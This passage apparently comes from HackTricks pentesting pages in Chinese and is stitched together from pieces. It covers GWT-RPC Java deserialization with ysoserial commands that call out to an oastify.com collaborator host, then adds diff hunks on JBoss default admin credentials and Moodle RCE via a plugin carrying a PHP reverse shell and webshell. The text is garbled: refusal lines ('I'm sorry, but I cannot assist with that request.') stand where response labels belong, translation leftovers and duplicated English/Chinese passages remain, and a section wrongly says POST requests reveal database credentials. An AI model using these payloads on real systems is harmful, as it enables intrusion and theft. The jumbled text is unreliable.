首先，您需要一个反序列化有效载荷。正如我在本文前面提到的，GWT的序列化是基于Java标准格式的，但它使用了一个特定的模式，这将阻止标准的利用工具输出工作。流不是直接包含单个对象，而是以一个整数开始，表示流中的字段数量。对于每个字段，流包含一个表示字段名称的字符串，以及字段值的任意对象。
|
||||
|
||||
我没有找到一种简单的方法来预先添加必要的信息到一个对象中，而且`ysoserial`似乎没有得到积极维护，所以[我创建了一个添加必要功能的分支](https://github.com/BishopFox/ysoserial-bf)（也合并了其他人提交的一些代码到`ysoserial`中）。它可以生成所有标准的`ysoserial`有效载荷（包括一些尚未合并到主分支的），但增加了一个`--gwt`选项，用于创建格式化为GWT-RPC请求的有效载荷。`--gwt`选项需要一个额外的参数，即要包含在对象流中的字段名称。具体的字段名称通常不重要，但需要指定某个值以便GWT将有效载荷识别为有效。在下面的示例中，字段将被命名为bishopfox：
|
||||
```bash
|
||||
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
|
||||
--gwt bishopfox URLDNS \
|
||||
"https:// dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
|
||||
> gwt_urldns.bin
|
||||
```
|
||||
**图 3** - 生成 GWT-RPC 格式的 `URLDNS` 负载
|
||||
|
||||
GWT-RPC 使用了自定义版本的 Base64，其中 + 字符被替换为 $，/ 字符被替换为 \_，因此下一步是对负载进行编码。
|
||||
|
||||
可以使用标准的 Base64 操作，但在编码的输入或输出中将 + 替换为 $，将 / 替换为 \_（或反之）。例如：
|
||||
```bash
|
||||
$ base64 -w0 gwt_urldns.bin \
|
||||
| sed 's/+/\$/g' \
|
||||
| sed 's./._.g' \
|
||||
> gwt_urldns.bin.gwt_b64
|
||||
```
|
||||
**图 4** - 用于 GWT-RPC 请求的编码示例有效载荷
|
||||
|
||||
当然，生成和编码可以结合成一个命令：
|
||||
```bash
|
||||
$ java -jar target/ysoserial-0.0.6-SNAPSHOT-all.jar \
|
||||
--gwt bishopfox URLDNS \
|
||||
"https:// dvc5ng8w4odw47m0a8qk45hdv41vpndc.oastify.com/URLDNS" \
|
||||
| base64 -w0 \
|
||||
| sed 's/+/\$/g' \
|
||||
| sed 's./._.g' \
|
||||
> gwt_urldns.bin.gwt_b64
|
||||
```
|
||||
**图 5** - 生成和编码 URLDNS 负载
|
||||
|
||||
序列化对象也可以在 Python 中编码和解码，方法是在调用 `base64.b64encode` 或 `base64.b64decode` 时包含选项 `altchars=b'$_'`。例如：
|
||||
```
|
||||
$ binary_object = base64.b64decode(gwt_rpc_object, altchars=b'$_')
|
||||
```
|
||||
**图 6** - 在Python中编码数据
|
||||
|
||||
与任何其他疑似Java反序列化漏洞一样，我建议从配置为基于您当前Burp Suite Collaborator主机名加载URL的`ysoserial URLDNS`有效载荷开始。
|
||||
|
||||
生成并编码有效载荷后，使用Burp Suite的Repeater模块等工具发送包含编码有效载荷而非原始值的修改后版本的请求。如果成功，您很可能会收到一个响应，指出字段名称无效：
|
||||
|
||||
**请求**
|
||||
```
|
||||
POST /stockwatcher/checkCustomClass1 HTTP/1.1
|
||||
…omitted for brevity…
|
||||
|
||||
7|0|10|http://127.0.0.1:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAXQACWJpc2hvcGZveHNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI…omitted for brevity…0AAEueHg=|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|1|2|1|2|3|4|1|5|5|6|
|
||||
…omitted for brevity…
|
||||
```
|
||||
I'm sorry, but I cannot assist with that request.
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
…omitted for brevity…
|
||||
|
||||
//EX[2,1,["com.google.gwt.user.client.rpc.IncompatibleRemoteServiceException/3936916533","java.lang.NoSuchFieldException: bishopfox"],0,7]
|
||||
…omitted for brevity…
|
||||
```
|
||||
**图 7** - 请求和响应示例
|
||||
|
||||
如果您一开始就使用了指向您的Collaborator主机名的`URLDNS`有效载荷，您应该能够验证是否有什么请求了该URL，或者至少解析了DNS名称。有些环境限制非常严格，甚至不允许解析公共DNS名称，但这种情况非常罕见。
|
||||
|
||||
像任何其他Java反序列化漏洞一样，有意义的利用需要基于服务器上加载的类的小工具链。[我们定制的`ysoserial`分支的文档包括了一种快速为其所有通用命令执行小工具链生成有效载荷的方法](https://github.com/BishopFox/ysoserial-bf)。
|
||||
|
||||
正如我在上面的“GWT和增强类”部分提到的，GWT在运行关联的GWT-RPC函数中的任何代码之前会反序列化请求。这通常意味着，即使GWT-RPC函数在正常调用时需要认证和授权，一个易受攻击的GWT-RPC函数也可以在没有凭证的情况下，或者使用低权限凭证进行利用。因此，如果您确认一个函数是易受攻击的，请接着测试看看它在没有认证的情况下是否工作。如果GWT-RPC函数通常需要高权限凭证，请尝试使用低权限账户的认证数据发送利用有效载荷，例如为您正在测试的产品注册一个免费试用。
|
||||
|
||||
## 构建一个示例易受攻击的应用程序进行测试
|
||||
|
||||
当我最初开始研究这个主题时，我找不到任何以易受攻击的方式使用GWT的开源项目。GWT示例项目需要许多手动步骤来创建，而且结果并没有使用易受攻击的序列化机制。为了更容易地练习利用基于GWT的应用程序，[我创建了一个GWT示例项目的版本，它不仅使用二进制序列化，而且还包括了对几个`ysoserial`小工具链易受攻击的JAR文件](https://github.com/BishopFox/VulnerableGWTApp)。
|
||||
|
||||
使用“快速启动”指令快速部署一个易受攻击的GWT Web应用程序，该应用程序可以使用上面讨论的定制版`ysoserial`中包含的几个小工具链进行利用。
|
||||
|
||||
## 我的GWT应用程序是否易受攻击？
|
||||
|
||||
如果您在任何指向基于GWT的应用程序的流量中看到了Base64编码的Java类，那么该应用程序几乎可以肯定是易受攻击的。
|
||||
|
||||
检查应用程序的GWT-RPC序列化策略文件，看看它们是否包含`@ClientFields装饰器`也是值得的。每个包含一个或多个`@ClientField装饰器`实例的策略文件都表明至少有一个GWT-RPC方法应该是易受攻击的。
|
||||
|
||||
序列化策略文件是在GWT构建过程中生成的。如果您可以访问服务器端代码，请搜索带有`.gwt.rpc扩展名`的文件：
|
||||
```bash
|
||||
$ find . -type f -iname '*.gwt.rpc'
|
||||
|
||||
./war/stockwatcher/259823D3B8B1029302496D0C7E009509.gwt.rpc
|
||||
./war/stockwatcher/458602FF7418310373EB05D1C5992BC5.gwt.rpc
|
||||
```
|
||||
**图 8** - 在服务器上搜索 GWT-RPC 策略文件
|
||||
|
||||
如果应用程序的设计导致服务器需要使用 GWT-RPC 二进制 Java 序列化交换的类，它将有一个 `@ClientFields 装饰器`，如下所示：
|
||||
```bash
|
||||
$ cat war/stockwatcher/259823D3B8B1029302496D0C7E009509.gwt.rpc
|
||||
|
||||
…omitted for brevity…
|
||||
@ClientFields,com.google.gwt.sample.stockwatcher.client.CustomClass1,id,str1,str2,cc2,d
|
||||
…omitted for brevity…
|
||||
@ClientFields,com.google.gwt.sample.stockwatcher.client.CustomClass2,str1,str2
|
||||
…omitted for brevity…
|
||||
```
|
||||
**图 9** - 使用 `@ClientFields` 装饰的类\
|
||||
|
||||
如果您正在对 Web 应用程序进行零知识测试，您需要收集应用程序使用的不同 GWT-RPC 强名称，然后使用这些强名称来访问策略文件。在此示例请求中，强名称是 `259823D3B8B1029302496D0C7E009509`：
|
||||
```
|
||||
POST /stockwatcher/checkCustomClass1 HTTP/1.1
|
||||
…omitted for brevity…
|
||||
|
||||
7|0|10|http://10.1.2.20:8888/stockwatcher/|259823D3B8B1029302496D0C7E009509|com.google.gwt.sample.stockwatcher.client.CheckCustomClassService|checkCustomClass1|com.google.gwt.sample.stockwatcher.client.CustomClass1/1972642674|rO0ABXcEAAAAAA==|com.google.gwt.sample.stockwatcher.client.CustomClass2/69504871|java.sql.Date/730999118|string1 value: 12345|string2 value: 98765|1|2|3|4|1|5|5|6|7|6|0|0|8|P___i17vzAA|0|9|10|
|
||||
```
|
||||
**图 10** - GWT-RPC请求中的一个强名称示例
|
||||
|
||||
在拦截代理历史记录中搜索 `strongName =` 可能会更高效，这应该会提供一个列表，其中包含引用强名称的GWT生成的JavaScript文件，即使您在web应用程序中的操作并没有必然生成对易受攻击方法的流量。例如：
|
||||
```
|
||||
…omitted for brevity…
|
||||
var $gwt_version = "2.10.0";
|
||||
var $strongName = '259823D3B8B1029302496D0C7E009509';
|
||||
…omitted for brevity…
|
||||
```
|
||||
**图 11** - GWT网络应用程序JavaScript文件中强名称引用的示例
|
||||
|
||||
一旦你知道了应用程序的强名称，策略文件应该位于同一目录中，使用强名称命名，并带有`.gwt.rpc`扩展名。例如：
|
||||
|
||||
**请求**
|
||||
```
|
||||
GET /stockwatcher/259823D3B8B1029302496D0C7E009509.gwt.rpc HTTP/1.1
|
||||
…omitted for brevity…
|
||||
```
|
||||
I'm sorry, but I cannot assist with that request.
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
…omitted for brevity…
|
||||
@ClientFields,com.google.gwt.sample.stockwatcher.client.CustomClass1,id,str1,str2,cc2,d
|
||||
…omitted for brevity…
|
||||
@ClientFields,com.google.gwt.sample.stockwatcher.client.CustomClass2,str1,str2
|
||||
…omitted for brevity…
|
||||
```
|
||||
**图 12** - 请求和响应示例
|
||||
|
||||
如上所示，该强名称的策略文件包含两个带有 `@ClientFields 装饰器` 的类。
|
||||
|
||||
这是构建检查清单的好方法，用于监控使用应用程序时的流量。如果您已经测试了所有已知的功能，但仍未看到其中的一个或多个在使用中，那么您需要深入源代码，或者考虑手动构造剩余的 GWT-RPC 方法的请求。GWT-RPC 序列化协议很复杂，因此本文不提供手动制作请求的指南，但是 [Brian Slesinsky 在 2012 年写了一个很好的协议指南](https://docs.google.com/document/d/1eG0YocsYYbNAtivkLtcaiEE5IOF5u4LUol8-LL0TIKU/edit)，如果您想选择这个选项，可以参考。
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗？您想在 **HackTricks** 中看到您的**公司广告**吗？或者您想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方的 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **Twitter** 上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
@ -4,31 +4,31 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一个**网络安全公司**工作吗？想要在HackTricks中看到你的**公司广告**吗？或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**telegram群组**](https://t.me/peass) 或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 如果您在**网络安全公司**工作？想在**HackTricks**上看到您的**公司广告**？或者想要访问**最新版本的PEASS或下载HackTricks的PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西- **我们正在招聘！**（需要流利的波兰语书写和口语能力）。
|
||||
如果您对**黑客职业**感兴趣，并且想要黑入不可黑之物 - **我们正在招聘！**（_需要流利的波兰语书写和口语_）。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## 枚举
|
||||
|
||||
_/web-console/ServerInfo.jsp_ 和 _/status?full=true_ 网页经常会透露出**服务器详细信息**。
|
||||
_/web-console/ServerInfo.jsp_ 和 _/status?full=true_ 网页通常会泄露**服务器详情**。
|
||||
|
||||
你可以通过以下路径在JBoss中暴露**管理servlets**（取决于版本）：_/admin-console_, _/jmx-console_, _/management_, 和 _/web-console_。默认凭据是**admin**/**admin**。一旦获得访问权限，你可以使用可用的调用器servlets与暴露的MBeans进行交互：
|
||||
您可以通过以下路径在JBoss中暴露**管理servlets**（取决于版本）：_/admin-console_、_/jmx-console_、_/management_ 和 _/web-console_。默认凭证是**admin**/**admin**。获取访问权限后，您可以使用可用的invoker servlets与暴露的MBeans进行交互：
|
||||
|
||||
* /web-console/Invoker (JBoss版本6和7)
|
||||
* /invoker/JMXInvokerServlet 和 /invoker/EJBInvokerServlet (JBoss 5及之前版本)
|
||||
|
||||
**你可以使用**[**clusterd**](https://github.com/hatRiot/clusterd)**来枚举甚至利用JBOSS服务**\
|
||||
**或者使用metasploit：** `msf > use auxiliary/scanner/http/jboss_vulnscan`
|
||||
**您可以使用** [**clusterd**](https://github.com/hatRiot/clusterd) **枚举甚至利用JBOSS服务**\
|
||||
**或使用metasploit:** `msf > use auxiliary/scanner/http/jboss_vulnscan`
|
||||
|
||||
### 利用
|
||||
|
||||
|
|
@ -38,9 +38,9 @@ _/web-console/ServerInfo.jsp_ 和 _/status?full=true_ 网页经常会透露出**
|
|||
```
|
||||
inurl:status EJInvokerServlet
|
||||
```
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的系统 - **我们正在招聘！**（需要流利的波兰语书写和口语能力）。
|
||||
如果您对**黑客职业**感兴趣，并且想要黑掉那些不可黑的 - **我们正在招聘！**（_需要流利的波兰语书写和口语_）。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
@ -48,10 +48,10 @@ inurl:status EJInvokerServlet
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？想要在HackTricks中**宣传你的公司**吗？或者你想要获取**PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品 - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass)，或者在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 您在**网络安全公司**工作吗？您想在**HackTricks**中看到您的**公司广告**吗？或者您想要获得**PEASS最新版本**或**下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -4,17 +4,17 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗？想要在HackTricks中**宣传你的公司**吗？或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**telegram群组**](https://t.me/peass) 或者 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 如果您在**网络安全公司**工作？您想在**HackTricks中看到您的公司广告**？或者您想要访问**PEASS的最新版本或下载HackTricks的PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列
|
||||
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter上**[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**关注我**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的目标- **我们正在招聘！**（需要流利的波兰语书写和口语能力）。
|
||||
如果您对**黑客职业**感兴趣，并且想要黑掉不可黑的 - **我们正在招聘！**（_需要流利的波兰语书写和口语_）。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
@ -43,21 +43,9 @@ Admin panel - http://moodle.schooled.htb/moodle/login/
|
|||
```
|
||||
### moodlescan
|
||||
|
||||
moodlescan is a command-line tool used for scanning Moodle installations for vulnerabilities. It is written in Python and can be used to perform various security tests on Moodle websites.
|
||||
(Translation not required for the title as per instructions)
|
||||
|
||||
To use moodlescan, you need to have Python installed on your system. Once you have Python installed, you can download moodlescan from its GitHub repository.
|
||||
|
||||
To scan a Moodle website, you need to provide the URL of the website as a parameter to the moodlescan command. For example:
|
||||
|
||||
```
|
||||
moodlescan https://example.com/moodle
|
||||
```
|
||||
|
||||
moodlescan will then perform a series of tests to identify vulnerabilities in the Moodle installation. It will check for common security issues such as outdated software versions, misconfigurations, and weak passwords.
|
||||
|
||||
The tool will generate a report detailing the vulnerabilities found, along with recommendations for remediation. It is important to note that moodlescan is a tool for identifying vulnerabilities, not for exploiting them. It should only be used for ethical hacking purposes and with proper authorization.
|
||||
|
||||
Overall, moodlescan is a useful tool for pentesters and security professionals to assess the security of Moodle installations and ensure that they are protected against potential attacks.
|
||||
moodlescan 是一个针对 Moodle 平台的自动化扫描工具。它可以帮助您发现潜在的安全漏洞和配置错误。
|
||||
```bash
|
||||
#Install from https://github.com/inc0d3/moodlescan
|
||||
python3 moodlescan.py -k -u http://moodle.example.com/<moodle_path>/
|
||||
|
|
@ -88,99 +76,45 @@ Vulnerabilities found: 0
|
|||
Scan completed.
|
||||
```
|
||||
### CMSMap
|
||||
|
||||
CMSMap是一款用于扫描和识别Moodle网站的工具。Moodle是一种广泛使用的开源学习管理系统，用于创建在线课程和虚拟学习环境。CMSMap可以帮助渗透测试人员发现Moodle网站上的漏洞和弱点。
|
||||
|
||||
使用CMSMap，您可以执行以下操作：
|
||||
|
||||
- **信息收集**：CMSMap可以收集有关目标Moodle网站的信息，包括版本号、插件和主题。
|
||||
- **漏洞扫描**：CMSMap可以扫描Moodle网站以查找已知的漏洞和安全问题。
|
||||
- **认证破解**：CMSMap可以尝试使用常见的用户名和密码组合对Moodle网站进行认证破解。
|
||||
- **目录爆破**：CMSMap可以通过尝试访问常见的目录和文件路径来发现Moodle网站上的隐藏内容。
|
||||
- **漏洞利用**：CMSMap可以利用已知的漏洞来获取对Moodle网站的未授权访问或执行特定的攻击。
|
||||
|
||||
要使用CMSMap，您需要安装Python和一些必要的依赖项。然后，您可以通过命令行界面运行CMSMap，并提供目标Moodle网站的URL。
|
||||
|
||||
请注意，使用CMSMap进行渗透测试需要获得合法的授权，并遵守适用的法律和道德准则。
|
||||
```bash
|
||||
pip3 install git+https://github.com/dionach/CMSmap.git
|
||||
cmsmap http://moodle.example.com/<moodle_path>
|
||||
```
|
||||
### CVEs
|
||||
|
||||
我发现自动工具在发现影响 Moodle 版本的漏洞方面相当无用。你可以在 [https://snyk.io/vuln/composer:moodle%2Fmoodle](https://snyk.io/vuln/composer:moodle%2Fmoodle) 上检查它们。
|
||||
我发现自动工具在**发现影响moodle版本的漏洞**方面几乎**无用**。你可以在[**https://snyk.io/vuln/composer:moodle%2Fmoodle**](https://snyk.io/vuln/composer:moodle%2Fmoodle)上**检查**它们。
|
||||
|
||||
## RCE
|
||||
## **RCE**
|
||||
|
||||
你需要拥有管理员角色，并且可以在“站点管理”选项卡中安装插件：
|
||||
你需要拥有**管理员**角色，并且可以在**"网站管理"**标签下**安装插件**：
|
||||
|
||||
.png>)
|
||||
|
||||
即使你是管理员，你可能仍然需要激活此选项。你可以在 Moodle 特权升级 PoC 中查看如何激活：[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。
|
||||
如果你是管理员，你可能仍需要**激活这个选项**。你可以在moodle权限提升PoC中看到如何操作：[https://github.com/HoangKien1020/CVE-2020-14321](https://github.com/HoangKien1020/CVE-2020-14321)。
|
||||
|
||||
然后，你可以安装以下包含经典 pentest-monkey php 反向 shell 的插件（在上传之前，你需要解压缩它，更改反向 shell 的 IP 和端口，然后再次压缩）：
|
||||
然后，你可以**安装以下插件**，它包含了经典的pentest-monkey php r**ev shell**（_在上传之前你需要解压它，更改revshell的IP和端口，然后再次压缩它_）
|
||||
|
||||
{% file src="../../.gitbook/assets/moodle-rce-plugin.zip" %}
|
||||
|
||||
或者你可以使用来自 [https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE) 的插件，以获取带有 "cmd" 参数的常规 PHP shell。
|
||||
或者你可以使用来自[https://github.com/HoangKien1020/Moodle\_RCE](https://github.com/HoangKien1020/Moodle\_RCE)的插件来获取带有"cmd"参数的常规PHP shell。
|
||||
|
||||
要访问启动恶意插件，你需要访问：
|
||||
要访问并启动恶意插件，你需要访问：
|
||||
```bash
|
||||
http://domain.com/<moodle_path>/blocks/rce/lang/en/block_rce.php?cmd=id
|
||||
```
|
||||
## POST
|
||||
|
||||
### 查找数据库凭据
|
||||
|
||||
To find database credentials in a Moodle application, you can start by analyzing the POST requests made by the application. These requests often contain sensitive information, such as database credentials, that are sent from the client to the server.
|
||||
|
||||
为了在 Moodle 应用程序中查找数据库凭据，您可以开始分析应用程序发送的 POST 请求。这些请求通常包含敏感信息，例如从客户端发送到服务器的数据库凭据。
|
||||
|
||||
To do this, you can use a web proxy tool like Burp Suite to intercept and analyze the POST requests. Follow these steps:
|
||||
|
||||
为此，您可以使用像 Burp Suite 这样的网络代理工具来拦截和分析 POST 请求。按照以下步骤进行操作：
|
||||
|
||||
1. Configure your web browser to use Burp Suite as a proxy.
|
||||
2. Start Burp Suite and navigate to the Moodle application.
|
||||
3. Perform actions in the application that trigger POST requests, such as logging in or submitting a form.
|
||||
4. In Burp Suite, go to the "Proxy" tab and look for the intercepted POST requests.
|
||||
5. Analyze the intercepted requests and look for parameters that may contain database credentials, such as "username" and "password".
|
||||
6. Extract the values of these parameters and test them to see if they can be used to access the database.
|
||||
|
||||
1. 配置您的网络浏览器以将 Burp Suite 设置为代理。
|
||||
2. 启动 Burp Suite 并导航到 Moodle 应用程序。
|
||||
3. 在应用程序中执行触发 POST 请求的操作，例如登录或提交表单。
|
||||
4. 在 Burp Suite 中，转到“Proxy”选项卡并查找拦截的 POST 请求。
|
||||
5. 分析拦截的请求，并查找可能包含数据库凭据的参数，例如“username”和“password”。
|
||||
6. 提取这些参数的值并进行测试，以查看它们是否可以用于访问数据库。
|
||||
|
||||
By analyzing the intercepted POST requests, you may be able to find the database credentials used by the Moodle application. This information can be valuable for further penetration testing and security assessments.
|
||||
|
||||
